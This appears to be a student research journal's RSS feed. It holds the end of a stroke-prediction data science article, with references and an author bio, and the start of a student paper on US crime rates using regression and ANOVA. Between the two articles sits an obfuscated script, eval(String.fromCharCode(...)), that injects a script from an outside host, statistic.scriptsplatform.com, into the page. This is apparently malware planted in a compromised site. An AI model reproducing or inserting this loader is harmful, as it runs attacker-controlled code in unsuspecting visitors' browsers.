<p>Yeung, C. (2022, August 11). <em>Stroke_Predictions_Project_Charisse_Yeung.ipynb</em>. GitHub. Retrieved September 3, 2022, from https://github.com/honyeung21/data_science/blob/main/Stroke_Predictions_Project_Charis se_Yeung.ipynb</p>



<p>Medlock, B. (2022). <em>Stroke</em>. Headway. Retrieved September 3, 2022, from https://www.headway.org.uk/about-brain-injury/individuals/types-of-brain-injury/stroke/</p>



<p>Initiatives, C. H. (n.d.). <em>Stroke prevention</em>. CHI Health. Retrieved September 3, 2022, from https://www.chihealth.com/en/services/neuro/neurological-conditions/stroke/stroke-prevent ion.html</p>



<p>Fedesoriano. (2021, January 26). <em>Stroke prediction dataset</em>. Kaggle. Retrieved September 3, 2022, from https://www.kaggle.com/datasets/fedesoriano/stroke-prediction-dataset</p>



<p>Wolff, R. (2020, November 2). <em>What is training data in machine learning? </em>MonkeyLearn Blog. Retrieved September 3, 2022, from https://monkeylearn.com/blog/training-data/</p>



<p>Pant, A. (2019, January 22). <em>Introduction to machine learning for beginners</em>. Medium. Retrieved September 3, 2022, from https://towardsdatascience.com/introduction-to-machine-learning-for-beginners-eed6024fd b08</p>



<p>V.Kumar, V. (2020, May 28). <em>ML 101: Linear regression</em>. Medium. Retrieved September 3, 2022, from https://towardsdatascience.com/ml-101-linear-regression-bea0f489cf54</p>



<p>Gupta, S. (2020, July 17). <em>What makes logistic regression a classification algorithm? </em>Medium. Retrieved September 3, 2022, from https://towardsdatascience.com/what-makes-logistic-regression-a-classification-algorithm- 35018497b63f<br></p>



<hr style="margin: 70px 0;" class="wp-block-separator">



<div class="no_indent" style="text-align:center;">
<h4>About the author</h4>
<figure class="aligncenter size-large is-resized"><img loading="lazy" decoding="async" src="https://www.exploratiojournal.com/wp-content/uploads/2020/09/exploratio-article-author-1.png" alt="" class="wp-image-34" style="border-radius:100%;" width="150" height="150">
<h5>Charisse Yeung</h5><p>Charisse is currently a 12th grader at the Carlmont High School in California. Her academic interests are data science, computer science, healthcare, and mathematics.
</p></figure></div>



<p></p>
<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script><p>The post <a href="https://exploratiojournal.com/data-science-analysis-of-stroke-prediction%ef%bf%bc/">Data Science Analysis of Stroke Prediction￼</a> appeared first on <a href="https://exploratiojournal.com">Exploratio Journal</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>United States Crime Data Analysis Using Modern Applied Statistics Methodologies￼</title>
		<link>https://exploratiojournal.com/united-states-crime-data-analysis-using-modern-applied-statistics-methodologies%ef%bf%bc/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=united-states-crime-data-analysis-using-modern-applied-statistics-methodologies%25ef%25bf%25bc</link>
		
		<dc:creator><![CDATA[Adarsh Sasikumar]]></dc:creator>
		<pubDate>Sun, 11 Sep 2022 15:24:32 +0000</pubDate>
				<category><![CDATA[Statistics]]></category>
		<category><![CDATA[crime]]></category>
		<category><![CDATA[data analysis]]></category>
		<category><![CDATA[United States]]></category>
		<guid isPermaLink="false">https://exploratiojournal.com/?p=2148</guid>

					<description><![CDATA[<p>Adarsh Sasikumar<br />
Sri Kumaran Children's Home of Educational Council</p>
<p>The post <a href="https://exploratiojournal.com/united-states-crime-data-analysis-using-modern-applied-statistics-methodologies%ef%bf%bc/">United States Crime Data Analysis Using Modern Applied Statistics Methodologies￼</a> appeared first on <a href="https://exploratiojournal.com">Exploratio Journal</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<div class="wp-block-media-text is-stacked-on-mobile is-vertically-aligned-top" style="grid-template-columns:16% auto"><figure class="wp-block-media-text__media"><img loading="lazy" decoding="async" width="404" height="404" src="https://exploratiojournal.com/wp-content/uploads/2022/09/adarsh.jpeg" alt="" class="wp-image-2262 size-full" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/adarsh.jpeg 404w, https://exploratiojournal.com/wp-content/uploads/2022/09/adarsh-300x300.jpeg 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/adarsh-150x150.jpeg 150w, https://exploratiojournal.com/wp-content/uploads/2022/09/adarsh-230x230.jpeg 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/adarsh-350x350.jpeg 350w" sizes="(max-width: 404px) 100vw, 404px" /></figure><div class="wp-block-media-text__content">
<p class="no_indent margin_none"><strong>Author: </strong>Adarsh Sasikumar<br><strong>Mentor</strong>: Dr. Hong Pan<br><em>Sri Kumaran Children&#8217;s Home of Educational Council</em></p>
</div></div>



<h2 class="wp-block-heading">Abstract</h2>



<p>While there is a burgeoning research literature on crime trends, much of the extant research has adopted a relatively narrow approach, efforts across studies are highly variable. In this paper, we outline a method to establish the relation between crime rate in the two years of 1959 and 1960 to the political, social and economic factors of that time, whether the crime does depend on the poverty state and mindset of the people in that era. The correlation between crime rate and all the factors being studied is visualized using a scatterplot matrix (SPLOM). Multiple linear regression models under ANOVA framework are performed to evaluate which factors and their interactions affect the crime rates significantly. Hence, what should be done in order to reduce the crime rate and help in the development of the country in all aspects. Statistically, the factors which influence crime rate the most are police expenditure in both the years, Gross Domestic Product (GDP), State population and probability of imprisonment.</p>



<h2 class="wp-block-heading">I. Introduction</h2>



<h4 class="wp-block-heading">A. Background</h4>



<p>Crime is an illegal act which is subjectable to punishment by the government. It involves violating the standard law code prescribed by a country’s parliament and judiciary. It is an unlawful act and a grave offense against human morality. The topic covered in this paper is the data analysis of crimes in the United States. It is a systematic way of detecting and investigating patterns and trends in crime.</p>



<p>The crime in the U.S. has been recorded since the early 1600s. The crime rates have varied over time, with a sharp rise after 1900 and reaching a broad bulging peak between the 1970s and early 1990s. The range of these criminal activities vary from pickpocketing to serial killing and assassinations. The basic aspect of a crime considers the offender, the victim, type of crime, severity and level, and location. These are the basic questions asked by law enforcement when investigating any situation. This information is formatted into a government record by a police arrest report, also known as an incident report.</p>



<p>Society has a strong misconception about crime rates due to media aspects heightening their fear factor. The manner, in which America&#8217;s crime rate compared to other countries of similar wealth and development depends on the nature of the crime used in the comparison. Overall crime statistic comparisons are difficult to conduct, as the definition and categorization of crimes varies across countries. Thus, an agency in a foreign country may include crimes in its annual reports which the United States omits, and vice versa. However, some countries such as Canada have similar definitions of what constitutes a violent crime as America. Overall, the total crime rate is more in the US than it is in other developed countries across Europe.</p>



<h4 class="wp-block-heading">B. Problem Statement</h4>



<p>The criminal behaviour has traditionally been linked to the offender&#8217;s presumed unique motivation which might be various factors such as unemployment, family circumstances due to poverty. It also depends on the dark figure of crime which is the gap between reported and unreported crimes calls the reliability of an official crime statistics into question, but all measures of crime have a dark figure to some degree. The gap in official statistics is largest for less serious crimes. It also varies from region to region or as a matter of fact, state to state. It depends on the type of community living in that region as well. The crime in metropolitan statistical areas tends to be above the national average; however, wide variance exists among and within metropolitan areas.</p>



<p>In this report, we will deep dive into various factors contributing/influencing the rate of crime, which serves as our dependent variable and how it depends on 15 independent variables, which are: % of males aged 14–24, indicator variables for a Southern state, mean years of schooling, police expenditure in 1960 and 1959, labour force participation rate, number of males per 1000 females, state population, number of non- whites per 1000 people, unemployment rate of urban males age 14–24 &amp; 35–39, gross domestic product per head, income inequality, probability of imprisonment, and average time served in state prisons, that affect the rate of crime in a specific category per head population.</p>



<h2 class="wp-block-heading">II. Methodology</h2>



<h4 class="wp-block-heading">A. Descriptive</h4>



<p>In this section, we are going to describe, explore and confirm how the economic, social and political factors are affecting the crime rate using the MASS Library in R.</p>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.07.57-AM-1024x374.png" alt="" class="wp-image-2149" width="650" height="237" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.07.57-AM-1024x374.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.07.57-AM-300x110.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.07.57-AM-768x281.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.07.57-AM-1536x562.png 1536w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.07.57-AM-920x336.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.07.57-AM-230x84.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.07.57-AM-350x128.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.07.57-AM-480x176.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.07.57-AM.png 1586w" sizes="(max-width: 650px) 100vw, 650px" /><figcaption><br><em>Table 1 : Variables used in this Model</em></figcaption></figure>



<p>Each row represents a state in the USA and Unit are shown in Table 1.</p>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.08.27-AM-1024x688.png" alt="" class="wp-image-2150" width="669" height="449" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.08.27-AM-1024x688.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.08.27-AM-300x202.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.08.27-AM-768x516.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.08.27-AM-1536x1032.png 1536w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.08.27-AM-920x618.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.08.27-AM-230x155.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.08.27-AM-350x235.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.08.27-AM-480x323.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.08.27-AM.png 1732w" sizes="(max-width: 669px) 100vw, 669px" /><figcaption><br><em>Table 2 : Crime Dataset</em></figcaption></figure>



<p>The rate of crime serves as the dependent variable which depends on a number of independent variables such as police expenditure, mean year of schooling, unemployment rate, income inequality, imprisonment probability and so on.</p>



<p>A SPLOM plot is used to show the basic information of the dataset. It is a collection of scatter plots being organized into matrix. It gives us the direction, strength, and linearity of the relationship between the dependent and independent variables and also helps in determining the correlation between the independent variable and dependent variable as seen in the Figure 1.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="660" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.09.04-AM-1024x660.png" alt="" class="wp-image-2151" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.09.04-AM-1024x660.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.09.04-AM-300x193.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.09.04-AM-768x495.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.09.04-AM-1536x990.png 1536w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.09.04-AM-920x593.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.09.04-AM-230x148.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.09.04-AM-350x226.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.09.04-AM-480x309.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.09.04-AM.png 1614w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption><br><em>Figure 1 : SPLOM Plot with All Variables</em></figcaption></figure>



<h4 class="wp-block-heading">B. Exploratory:</h4>



<p>The data is first explored and wrangled to check for the presence of outliers and those which are present are removed.</p>



<p>The potential correlation between the variables is further evaluated via analysis by 14 simple regression models, to examine which independent variables are significant factors. Based on this set of simple regression models, 4 variables are chosen which have a statistically significant correlations with the dependent variable Crime Rate.</p>



<p>Regression is used to predict a continuous outcome based on one or more continuous predictor variables. Regression line is the straight line passing through the data that minimizes the sum of the squared differences between the original data and the fitted points.</p>



<p>An aov (analysis of variance) model is performed to check the interrelation between the 4 independent variables from the simple regression model. This analysis is performed iteratively on the various combinations in which the least significant combination (the one with highest p value) is removed after each step. Multiple regression analysis is performed on these 4 independent variables with respect to the dependant variable that is crime rate.</p>



<h4 class="wp-block-heading">C. Confirmatory:</h4>



<p>ANOVA model is used for deciding the best multiple regression model among the given combination of the 4 independent variables. ANOVA and step aic are used to find out the interdependency between the 4 variables. Likelihood ratio test is performed to check goodness of the fit of the nested regression models.</p>



<p>ANOVA is fundamental for all statistical approaches. ANOVA, which stands for Analysis of Variance, is a statistical test used to analyses the difference between the means of more than two groups.</p>



<p>ANOVA is used in the analysis of comparative experiments, those in which only the difference in outcomes is of interest. The statistical significance of the experiment is determined by a ratio of two variances. This ratio is independent of several possible alterations to the experimental observations: Adding a constant to all observations does not alter significance. Multiplying all observations by a constant does not alter significance.</p>



<p>A one-way ANOVA uses one independent variable, while a two-way ANOVA uses two independent variables.</p>



<p>In ANOVA, the null hypothesis is that there is no difference among group means. If any group differs significantly from the overall group mean, then the ANOVA will report a statistically significant result.</p>



<p>So, ANOVA statistical significance result is independent of constant bias and scaling errors as well as the units used in expressing observations. This makes it the ideal model.</p>



<p>We use ANOVA, when we want to test a hypothesis. From our 3 models of different combinations, we choose the model (independent variables) with maximum influence on the dependent variable that is crime rate as an ideal model. Finally, the model with all 4 variables is plotted. Following this, the best model is chosen from all the 3 models.</p>



<p>The likelihood-ratio test compares the goodness of fit of two nested regression models based on the ratio of their likelihoods, specifically one obtained by maximization over the entire parameter space and another obtained after imposing some constraint. A nested model is simply a subset of the predictor variables in the overall regression model.</p>



<h2 class="wp-block-heading"><strong>III. Results</strong></h2>



<h4 class="wp-block-heading">A. Descriptive</h4>



<p>In this section, we will be depicting the various results of our analysis of regression and ANOVA Models.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="584" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.10.27-AM-1024x584.png" alt="" class="wp-image-2152" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.10.27-AM-1024x584.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.10.27-AM-300x171.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.10.27-AM-768x438.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.10.27-AM-1536x876.png 1536w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.10.27-AM-920x524.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.10.27-AM-230x131.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.10.27-AM-350x200.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.10.27-AM-480x274.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.10.27-AM.png 1670w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption><em>Figure 2 : Correlation</em></figcaption></figure>



<p>From Figure 2, we can see that police expenditure in 1959 and 1960 have high correlation with one another. This condition is not ideal for linear regression because no predictor variable should strongly correlate with one another, hence we are combining both into a single variable.</p>



<h4 class="wp-block-heading">SPLOM PLOT</h4>



<p>As we can see for police expenditure, state population and gdp vs Crime Rate from Figure 3, the data points are closer to the line moving in the upward direction indicating a strong positive linear relationship with crime rate. Similarly, for probability of imprisonment, it is in the downward direction indicating a strong negative relationship with Crime Rate.</p>



<p>From the plot, we can see that four independent variables with most correlation with the Crime Rate is Police expenditure, GDP, Probability of imprisonment and State Population.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="526" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.11.21-AM-1024x526.png" alt="" class="wp-image-2153" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.11.21-AM-1024x526.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.11.21-AM-300x154.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.11.21-AM-768x395.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.11.21-AM-1536x790.png 1536w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.11.21-AM-920x473.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.11.21-AM-230x118.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.11.21-AM-350x180.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.11.21-AM-480x247.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.11.21-AM.png 1708w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption><br><em>Figure 3 : SPLOM Plot with 4 Variables</em></figcaption></figure>



<h4 class="wp-block-heading">B. Exploratory:</h4>



<p><strong><em>Data Wrangling</em></strong></p>



<p>In Figure 4, the data is plotted with and without outlier.</p>



<p>The predictor variable during a simple linear regression must always have high linear relationships with target variables. So, for this data we need to first check for the presence of an outlier and if there are any, we must remove them.</p>



<p>If we look at the abline of the plot, we can see that the outliers of our data have a high influence over our model. Therefore, it is safer to remove the outliers from the data. The removal of outliers increases the R-squared of the model ~0.6 points, and the p value has decreased along with the value of intercept which shows the removal of outlier improves the model.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="997" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.12.39-AM-1024x997.png" alt="" class="wp-image-2154" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.12.39-AM-1024x997.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.12.39-AM-300x292.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.12.39-AM-768x748.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.12.39-AM-920x896.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.12.39-AM-230x224.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.12.39-AM-350x341.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.12.39-AM-480x468.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.12.39-AM.png 1308w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption><br><em>Figure 4 : Data Wrangling</em></figcaption></figure>



<p>A simple linear regression model is estimated for each of these 14 independent variables and their result has been tabulated below.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="910" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.13.22-AM-1024x910.png" alt="" class="wp-image-2155" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.13.22-AM-1024x910.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.13.22-AM-300x267.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.13.22-AM-768x682.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.13.22-AM-920x817.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.13.22-AM-230x204.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.13.22-AM-350x311.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.13.22-AM-480x426.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.13.22-AM.png 1254w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption><em>Figure 5 : Simple Regression</em></figcaption></figure>



<p>From these simple regression models, we can conclude that the relation between police expenditure, GDP, probability of imprisonment, state population and crime rate is highest as their p value is less than 0.05 with r being 72% ,44% ,43% and 36% respectively. So, with these 4 variables, a multiple regression and stepAIC is plotted. As next step, ANOVA is used to find the best model.</p>



<h4 class="wp-block-heading">C. Confirmatory:</h4>



<p><strong><em>Interrelation between variables using multiple regression and stepAIC</em></strong></p>



<p>AOV is performed to check which variables among the 4 variables have the most interrelation amongst one another and hence affect the crime rate.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="833" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.14.20-AM-1024x833.png" alt="" class="wp-image-2156" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.14.20-AM-1024x833.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.14.20-AM-300x244.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.14.20-AM-768x625.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.14.20-AM-920x749.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.14.20-AM-230x187.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.14.20-AM-350x285.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.14.20-AM-480x391.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.14.20-AM.png 1246w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption><br><em>Figure 6 : Result of Interrelation &#8211; </em>4 Variables</figcaption></figure>



<p>Multiple regression and stepAIC are performed for the 4 interdependent variables as shown in Figure 7</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="686" height="1024" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.14.58-AM-686x1024.png" alt="" class="wp-image-2157" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.14.58-AM-686x1024.png 686w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.14.58-AM-201x300.png 201w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.14.58-AM-230x343.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.14.58-AM-350x522.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.14.58-AM-480x716.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.14.58-AM.png 724w" sizes="(max-width: 686px) 100vw, 686px" /><figcaption><em>Figure 7 : Model I &#8211; crime_rate ~ pol_exp * gdp * prob_imp * state_pop</em></figcaption></figure>



<p>The highest p value (gdp:state_pop and gdp) are iteratively removed and performed multiple regression and stepAIC as shown in Figure 8 and 9</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="747" height="1024" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.15.30-AM-747x1024.png" alt="" class="wp-image-2158" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.15.30-AM-747x1024.png 747w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.15.30-AM-219x300.png 219w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.15.30-AM-768x1052.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.15.30-AM-230x315.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.15.30-AM-350x480.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.15.30-AM-480x658.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.15.30-AM.png 778w" sizes="(max-width: 747px) 100vw, 747px" /><figcaption><em>Figure 8 : Model II &#8211; crime_rate ~ pol_exp * gdp * prob_imp * state_pop – (gdp:state_pop)</em></figcaption></figure>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.16.08-AM-703x1024.png" alt="" class="wp-image-2159" width="637" height="928" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.16.08-AM-703x1024.png 703w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.16.08-AM-206x300.png 206w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.16.08-AM-768x1118.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.16.08-AM-230x335.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.16.08-AM-350x510.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.16.08-AM-480x699.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.16.08-AM.png 890w" sizes="(max-width: 637px) 100vw, 637px" /><figcaption><em>Figure 9 : Model III &#8211; crime_rate ~ pol_exp * gdp * prob_imp * state_pop – (gdp:state_pop) &#8211; gdb</em></figcaption></figure>



<p>ANOVA is performed to check the best model.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="302" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.00-AM-1024x302.png" alt="" class="wp-image-2160" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.00-AM-1024x302.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.00-AM-300x89.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.00-AM-768x227.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.00-AM-920x272.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.00-AM-230x68.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.00-AM-350x103.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.00-AM-480x142.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.00-AM.png 1294w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption><br><em>Figure 10 : ANOVA 